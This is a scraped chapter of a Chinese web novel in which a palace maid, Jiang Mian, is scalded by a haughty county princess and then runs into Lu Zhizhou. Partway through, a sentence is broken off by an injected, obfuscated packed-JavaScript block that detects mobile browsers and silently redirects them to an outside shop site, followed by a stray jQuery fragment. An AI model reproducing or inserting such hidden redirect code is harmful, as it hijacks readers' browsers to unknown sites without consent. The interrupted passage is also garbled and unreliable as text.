文趣网 > 都市小说 > 一篇非常规穿书文 > 33. 徒奈何
    这一声呵斥,惊得整排女使瑟瑟发抖。

    宋宴清眉头微不可察地一皱。

    他素来在人前经营着仁厚的好名声,且心里又惦记着寻陆知舟,便不咸不淡地劝了一句:“不过是个当差的粗使丫头,晚晚何必与她一般见识,没得气坏了身子。”

    “三表哥不知,这些底层的奴婢最是手脚不干净,本县主既见着了,自然要盘问一二。”温向晚不依不饶,手里捧着一只刚灌了滚水的赤金錾花汤婆子,朝姜绵逼近了半步,厉声道,“本县主让你抬起头来,你聋了吗?!”

    避无可避。

    姜绵深吸了一口气,将那翻涌的恨意死死压入心底。她端着香盘,缓缓直起脊背,抬起了那张脸。

    廊檐下摇曳的琉璃宫灯,将那张柔润白皙的面容照得清清楚楚。

    看清那张脸的瞬间,温向晚瞳孔骤然紧缩!

    是她!

    那个在这几日夜夜入她梦魇、被她惊恐地喊作“毒妇”的女人!那种来自灵魂深处、毫无缘由的极度恐惧与嫉恨,瞬间击溃了温向晚的理智。

    “你——!姜……”

    温向晚尖叫一声,犹如见鬼了一般猛地往后退去。她浑身剧烈一哆嗦,手里那只沉甸甸的赤金汤婆子竟直接脱了手!

    “哐当——!”

    “哗啦!”

    那只汤婆子的盖子在跌落中被摔开,里头满满一壶刚刚烧开的滚烫沸水,毫不留情地全数泼溅在了姜绵端着香盘的左手上!

    钻心难捱的剧痛瞬间炸开。

    姜绵手背上那层原本白皙的皮肉,以肉眼可见的速度被滚水烫得红肿,立刻鼓起了成片触目惊心的大燎泡。

    香盘和旧香炉摔了一地,灰烬四散。

    “还请县主恕罪!”

    一旁的掌事姑姑和小女使们吓得魂飞魄散,“扑通扑通”忙不迭地跪了一地,连大气都不敢喘。

    姜绵死死咬住下唇,哪怕疼得浑身都在难以遏制地发抖,额头冷汗直冒,她也没有叫出一声惨叫。

    她只是顶着那只惨不忍睹的左手,“扑通”一声跪在香灰里,将头重重磕在冰冷的青砖上。

    “小人……惊扰了殿下与县主,罪该万死!”

    姜绵的声音因极度的忍痛而微微发颤,却透着股令人心悸的平静。

    这一声,总算将温向晚从极度的惊恐中拉了回来。

    她猛地喘了一口粗气,视线从姜绵那张脸上仓皇挪开,转而落在了身旁宋宴清的身上。

    只见这位素来稳重克制的宋宴清,正微微蹙着眉,用一种略带探究的眼神看着自己。

    温向晚心头猛地一沉,理智瞬间回笼。

    她方才干了什么?!

    她不仅当着三殿下的面失态尖叫,还亲手把滚烫的汤婆子砸在了一个低贱女使的手上!

    她平日里苦心经营的端庄温婉、菩萨心肠,险些就在这一惊一乍中碎了一地!

    “殿下,我……”温向晚脸色青白交加,死死捏着帕子,张了张嘴,正不知该如何解释自己这副癫狂失态的模样。

    宋宴清是何等精明识趣之人。

    他连看都没多看地上那被烫的女使一眼,只上前一步,自然地用他那高大挺拔的身躯挡住了温向晚的视线,温声替她解了围。

    “晚晚可是被这冒失的丫头惊着了?外头风雪这般大,你本就畏寒,方才手滑也是有的。”

    他微微侧过身,从容地虚扶了一把温向晚的手臂,语气疏朗且体贴:“这里一片狼藉,仔细脏了晚晚的鞋袜——前头梅榭梅花开得正好,不如我陪晚晚表妹去那边坐坐,压压惊?”

    这番话,不仅将温向晚的失态轻轻揭过,还顺理成章地将罪过全推到了姜绵这个“冒失”的丫头身上。

    至于姜绵那只被烫废了的手,在天潢贵胄的眼里,甚至比不上温向晚鞋袜上沾染的一点香灰。

    温向晚如蒙大赦,顺坡下驴地掩唇咳了两声,柔声道:“多谢殿下体恤,晚晚确实是被这丫头惊了一下,有些心悸……”

    “那便走吧。”

    宋宴清再未多言,甚至连句话都没留,便这般护着温向晚,踩着满地碎雪,头也不回地离开了这沉闷的游廊。

    直到那两道身影彻底消失在风雪尽头,游廊里那股压抑到极点的气压才轰然散去。

    带路的掌事姑姑长长地松了一口气。她低头看了一眼还跪在地上、左手已经被烫得惨不忍睹的姜绵,眼底闪过一丝不忍。

    在这吃人的深宫里,贵人们发作,底下的人就得白白受着。

    温县主跋扈,三殿下纵容,这便是规矩。

    这丫头也是个硬骨头,都烫成这样了,竟硬是没叫出声来。

    “行了,快起来吧。”

    掌事姑姑上前,叹了口气,挥手示意身后的女使们赶紧把地上的狼藉收拾了,这才对姜绵说道:“贵人们已经走了。你这手伤烫的不轻,想来这几日为了郊祀的香材连轴转,也累着了,一时眼花没端稳香盘冲撞了县主。”

    她这番话,既是给了姜绵一个台阶,也是给这起事故定了个劳累所致的调子,省得日后上面追究下来牵连旁人。

    “赶紧下去找医署的医官开些烫伤药敷上。”掌事姑姑摆了摆手,“今日这差事你便不用当了,去后头找个清净地方歇着去吧。”

    姜绵顺着掌事姑姑的话,缓缓从地上站起身。

    她低垂着眼帘,将那只烫肿的左手死死藏进宽大的青灰袖口里,掩去了眼底那快要夺眶而出的怨恨。

    “多谢姑姑体恤,奴婢这便告退。”

    姜绵低着头,循着游廊的阴影往外走。

    手背上的剧痛伴随着灼热,顺着经络一阵阵地往天灵盖上窜。

    宋宴清身上那股苏合香,混杂着温向晚身上的蔷薇香,依旧萦绕在鼻尖久久不散,让姜绵胃里那股被强压下去的恶心感在此刻彻底爆发。

    她只觉得脚下的青砖都在打着旋儿地晃,头晕难忍,眼前阵阵发黑,全靠一口恨意在死死撑着。

    就在她踉跄着快要走过一处拐角时,她险些撞上一个身影。

    只见视线里忽然横斜出一双绣着云纹的粉底皂靴,毫不避让地挡住了她的去路。

    顺着那双皂靴往上,是挺括的朝服下摆,以及一件宽大厚重的玄色大氅。

    姜绵眼睫颤了颤,麻木且迟缓地抬起头。

    漫天飞雪中,一张清隽绝尘、却冷若冰霜的脸赫然撞入眼帘。

    呵……陆知舟。

    在她此刻濒临崩溃、满眼血丝的眼里,这张脸与方才的宋宴清、温向晚没什么两样——皆是这吃人深宫里高高在上草菅人命的权贵,又是一张叫人只觉得虚伪且恶心的面孔。

    陆知舟居高临下地睨着她。

    他方才在殿内被灌了一肚子的茶水和冷酒,背上的伤又疼得火烧火燎,好不容易才寻了个更衣的借口溜出来透透气,哪里能想到就连自己到了皇宫大内,竟还能撞上姜绵。

    见她这副失魂落魄、面色惨白的模样,陆知舟心跳漏了一拍,心中冒出了一连串的问题。

    这坏丫头能到这御前伺候,可是又使了什么算计手段?

    可作甚这又成了这半死不活地样子?

    香药库的差事有这么累?

    既遂了心愿,不应该春风得意马蹄疾么?

    若差事当真这么累为何放着好好的休沐日不躺,偏要跑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598793|203151||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去清平坊找陈伯遇说笑?

    陆知舟心头那股子别扭的邪火和说不清道不明的烦闷瞬间冒了上来。

    “怎么?这皇宫大内的青砖缝里,难不成还掉着能让你讨价还价的铜板?走道连头都不……”

    那个“抬”字还没来得及吐出口,接下来的变故,却让陆大公子瞬间僵在了原地。

    只听见极低的一声呜咽。

    姜绵再也压制不住胃里那股翻江倒海的生理性痉挛,连他半句多余的话都没听进去。

    她猛地用那左手捂住嘴,一把推开挡在面前的少年。

    就在陆知舟那错愕又有些发懵的目光中,姜绵跌跌撞撞地冲出游廊,一头扎进寒风呼啸的雪地里,扶着那棵粗壮的红梅树,弯下腰,剧烈地干呕了起来。

    “呕——”

    生理性的泪水因为极度的难受而夺眶而出,扑簌簌地砸在雪地里。

    而她那只原本就被烫起成片燎泡的左手,只能无力地垂在身侧,随着干呕的动作微微战栗着。

    冷风夹杂着雪片灌进嗓子里,她什么都吐不出来,只有胃酸带着苦胆水直往上反。

    这一出突如其来的变故,直接把陆知舟那满腔的阴阳怪气给堵回了喉咙眼。

    他愣在原地,看看自己被推开的衣袖,再看看几步外扶着树吐得几乎要背过气去的纤细背影,那张清绝高傲的脸瞬间裂开了。

    他陆知舟,堂堂大宣探花郎、鲁国公府嫡孙!

    长得很恶心吗?!

    就因为刚才看了他一眼,这丫头竟然被恶心的跑到树底下吐了?!

    陆知舟黑着一张脸,大步踏进雪地里,正要开口质问自己是不是长得犹如夜叉,竟能把这丫头恶心成这样。

    那头,姜绵已经勉力止住了干呕。

    她深吸了一口冷气,用左手胡乱抹了一把唇角,缓缓转过身来。

    隔着漫天飞雪,她的视线终于真真切切地定在了陆知舟的身上。

    眼前人似是喝了酒,现在全身上下只有酒气混着殿内暖香的味道,之前那股子好闻的苦楝香已无影无踪了。

    前些日子她跟江采采打听过,这陆知舟不仅全须全尾地从那纠察刑狱司大牢里放出来了,似乎还受了些封赏。

    他今日并未穿寻常的锦袍,而是一身极其惹眼的柳绿色朝服,外罩着一件玄色大氅。

    大宣朝制,九品以上服青,非六品不得穿绿。这人年纪轻轻,刚刚经历了一场牢狱之灾,转头竟是因祸得福,又升官了。

    柳绿的官服挺括,玄氅如墨,衬得他那张脸越发有种高不可攀的世家清贵之气,直叫人觉得这漫天风雪都不及他万分之一的风光得意。

    再看看自己——被高高在上的权贵随意羞辱,左手被烫得起泡通红,连痛都不敢喊出声来,如今更是像条丧家之犬一样躲起来干呕。

    这就是云泥之别。

    姜绵眼底那点因为生理性反胃而激起的波澜,瞬间被周身极寒的冰雪死死封冻了。

    若是换作别的时刻她或许还能装装样子,演演弱柳扶风,应付他几出。

    可如今她实在没了那心力。

    陆知舟看着她,只见那张苍白的脸上,再找不出一丝过去在逃难路上与他针锋相对、或是算计试探时的鲜活。

    取而代之的,是这深宫里最底层奴仆面对天潢贵胄时,那种无可挑剔却又拒人于千里之外的惊惧。

    仿佛两人在这之前,根本就不相识。

    姜绵将左手掩到身后,垂下眼帘,往后退了半步,拉开了两人之间的距离。

    然后,她半低着头,规矩又生分地福了福身。

    “小人身子不适,方才失仪,惊扰了大人。”